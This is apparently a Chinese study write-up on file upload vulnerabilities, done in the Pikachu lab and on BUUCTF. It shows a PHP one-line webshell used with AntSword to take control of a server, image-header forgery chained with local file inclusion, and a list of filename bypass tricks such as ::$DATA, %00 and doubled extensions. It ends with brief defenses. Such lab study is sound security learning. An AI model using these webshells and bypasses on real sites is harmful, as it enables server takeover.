文件上传漏洞学习

文件上传漏洞

漏洞介绍

很多网站都有允许用户上传的文件的地方,比如注册时上传头像,写文章的时候上传附件之类的,但是如果网站没有对上传的文件进行过滤,那么用户就可以任意上传文件,如果上传的是可执行的恶意脚本文件,比如一句话木马,那么甚至可以getshell,危害极大

漏洞分类

文件上传漏洞分为两类:

一类是客户端检测,一般就是通过前端的js代码对上传的文件进行过滤,不允许恶意文件上传。

另一类是服务端检测,就是在后端进行检测,把恶意的文件删掉不保存

简单说一下两种类型的攻击方法,如果是客户端检测那直接把检测的js代码删了,如果是服务端检测,那就要修改一下我们上传的文件,比如把后缀改了之类的,具体看下面的演示

客户端check(js过滤)

就是通过前端的js代码对文件的后缀进行判断,要么是白名单要么是黑名单

我们先写一个恶意文件,写一个查看phpinfo的php文件

1.php

1
2
3
<?php
echo phpinfo();
?>

直接传是不行的

查看源代码

这里调用了一个checkFileExt的函数检测,用前端js来限制的,只能上传jpg,png,gif

我们直接把这个调用的地方删了

这里发现删了还是传不上去,好像是谷歌浏览器的问题,换火狐浏览器

传上去了

成功

服务端check(MIME检测)

先介绍一下MIME,概念太复杂了,简单来说就是在请求头上面会添加一个类型让后端验证,就是说后端验证文件类型不看文件后缀而是请求头上面写的类型

格式为:Content-Type:type/subtype

1
2
3
4
5
6
7
8
9
10
11
12
13
14
text/plain
text/html
image/jpeg
image/jpg
image/png
audio/mpeg
audio/ogg
audio/*
video/mp4
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

这就是一些常见的类型

我们看看题目

上传的时候抓个包,看到这里又个content-type是text/php

改成jpg然后发送

显示上传成功

成功

服务端getimagesize()函数检测

这种就通过后端的一个文件格式检测函数对文件类型进行判断,他可以通过获取文件信息的方式分析文件格式。

比如Getimagesize()这个函数的返回结果中有文件大小和文件类型

是否可以绕过呢?可以,因为图片头可以被伪造

其实这个函数就是通过图片的文件头来判断的

就是这个89 50 4E 47

做杂项都很熟悉了

那么怎么伪造文件头呢?

其实最简单的方法就是把php文件放到png文件的最后面,先随便找一个png文件,再打开我们之前的php木马

image-20210728190729709

直接把php的复制到png后面就行了

然后上传这个png

我们访问路径发现图片显示出来了,但是php代码并没有执行,因为浏览器是直接打开这个图片的,php代码并不影响打开图片,那么如果图片是以十六进制码打开的,那php代码也就可以执行了。

现在的问题是如何让图片以十六进制码的形式打开?

这就需要配合文件包含漏洞了,就是说这种类型的文件上传漏洞必须配合文件包含漏洞才可以被攻击,如果没有文件包含漏洞,那么这个getimagesize()函数是完全可以防御的住的

为什么需要文件包含漏洞?因为文件包含漏洞是可以返回服务器端文件的,并且是以编码形式,就像十六进制码这种,而不是返回文件的。所以我们通过这里返回服务器端的这张图片的十六进制码,这样我们的php代码就被执行了

我们去到文件包含漏洞这里

提交一个查询看看url

他是使用file1.php这个文件去查询的

我们修改一下url,对url进行构造

1
http://10.211.55.4/pikachu-master/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/07/28/82537461013ac0ad64a829607369.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

成功

实战中如何利用文件上传漏洞getshell

我们刚刚演示了利用方式,我们使用的都是获取phpinfo的php代码作为木马,但是实战中只获取phpinfo没什么用,这里介绍一下php的一句话木马,他非常有用,可以直接获取shell

1
<?php eval($_POST['ctf']); ?>

这就是一句话木马,我们保存到1.php文件中

我们回到最开始那个客户端check的例子

已经把一句话木马传到服务器上面去了

这里我们需要使用蚁剑这个工具,他有官方的github下载地址

这个是蚁剑的文档,按照文档进行安装即可

安装完成后,蚁剑打开,这里右键添加数据

这边发现自己搭的环境是在windows上面的,windows有病毒保护,上传到上面会直接被删,所以我换成了buuctf上面的环境

配置就这样,注意连接密码,就是刚刚一句话木马里面写的,定义了密码是ctf

点测试连接如果是测试成功那就成功了

这样就拿到服务器的权限了,可以操作服务器了

顺便在根目录看到了一个flag直接提交到buuctf上面了

刚刚这个只是文件管理,如果要使用终端,那么就如图右键

总结绕过方式

试了这么多实例,现在总结一下一般面对文件上传漏洞有什么绕过方式

前端绕过

把前端的js检测代码删掉

MIME检测绕过

抓包后修改提交的文件类型

黑名单绕过

用其他后缀

1
2
3
jsp jspx jspf
asp asa cer aspx
php php3 php4 pht phtml

::$DATA上传绕过

在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:”phpinfo.php::$DATA”Windows会自动去掉末尾的::$DATA变成”phpinfo.php”

如果代码中没有对::$DATA进行处理,就是黑名单过滤的时候,这种方法是可以用的

后缀大小写绕过

windows是不区分大小写的,所以如果是黑名单的话,肯定没有对大小写的情况加进去

比如1.Php

后缀双写绕过

主要用于后端过滤采用的是替换函数,将敏感关键字替换为空,但是只替换一次的情况比如使用了preg_replace替换函数将php关键字替换为空,但没有循环替换,导致前面的ph和后面的p重新组合成php,从而导致绕过

1
1.phphpp

空格绕过

1
1.php 

上面这个1.php后面是有空格的

在Windows中文件后缀名末尾有空格会自动去掉
例如:"phpinfo.php "Windows会自动去掉末尾的空格变成"phpinfo.php"

一般是在发包的文件头修改文件名,在后面加一个空格,这样就可以绕过黑名单了

%00截断绕过

PHP<5.3.29,且GPC关闭时,%00在URL中充当结束符,当解析到%00时,解析器就会认为字符串已经读取完毕

1
1.php%00a.jpg

文件头检测绕过

就是在把php代码拼在图片后面,后端识别的就是文件头,识别不到拼在后面的恶意代码,但是这个之前介绍过需要配合文件包含漏洞

条件竞争绕过

有的文件上传功能是先将文件下载到服务器,如果是有问题的就删除,我们可以利用这一逻辑漏洞,不断上传文件,即可访问。简单来说就是写一个脚本不断的往服务器传文件,只要我们传的比它删的快,那么在短暂时间内就有机会还有恶意文件存在服务器上面不被删

解析绕过

.user.ini绕过

这个参考buuctf的24题,算是一个文件包含漏洞,把图片马包含到题目目录下本身存在的php文件里,这样图片马就可以被执行了。

防范措施

  1. 不要再前端使用js实施上传限制策略

  2. 通过服务器对上传文件进行限制:

    1. 进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性
    2. 对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)
    3. 对服务器端上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害